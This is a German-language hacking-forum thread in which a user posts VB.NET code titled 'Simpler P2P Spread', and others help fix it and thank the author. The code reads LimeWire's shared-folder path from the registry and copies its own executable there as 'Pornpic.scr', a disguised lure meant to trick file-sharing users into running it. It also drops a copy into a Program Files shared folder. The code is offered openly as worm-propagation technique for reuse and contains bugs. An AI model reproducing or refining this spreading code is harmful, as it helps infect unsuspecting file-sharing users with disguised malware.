[VB.NET]Simpler P2P Spread

[inmate]

Public Class Form1
'Function deklarieren 
    Private Function limewirepfadfun()
        Dim LimePfad As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\LimeWire\", "Shared", 0)
        'die "/" "\" im Pfad ersetzten
        LimePfad.Replace("\", "/")
return limewirepfadfun
    End Function
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
'ruft die sub P2Pspread auf
        Call P2Pspread()
    End Sub
    Private Sub P2Pspread()
        Try

            
            'Datei kopieren
            Dim Spreadname As String = "Pornpic.scr"
            IO.File.Copy(Application.ExecutablePath, limewirepfadfun() & spreadName)

        Catch ex As Exception

        End Try
        Try
            IO.File.Copy(Application.ExecutablePath, (Environ("programfiles" & "\Shared\" & spreadName)))
        Catch ex As Exception

        End Try
    End Sub
End Class

ist nur LimeWire aber das Prinzip sollte klar sein
HF
inmate

[hackerking]

Bei Der Funktion Limewirepfadfun fehlt am ende was:

Return LimePfad
denn sonst würde nichts passieren..

[inmate]

so besser ? ^^

[hackerking]

jo^^

[SUNZ]

coole sache danke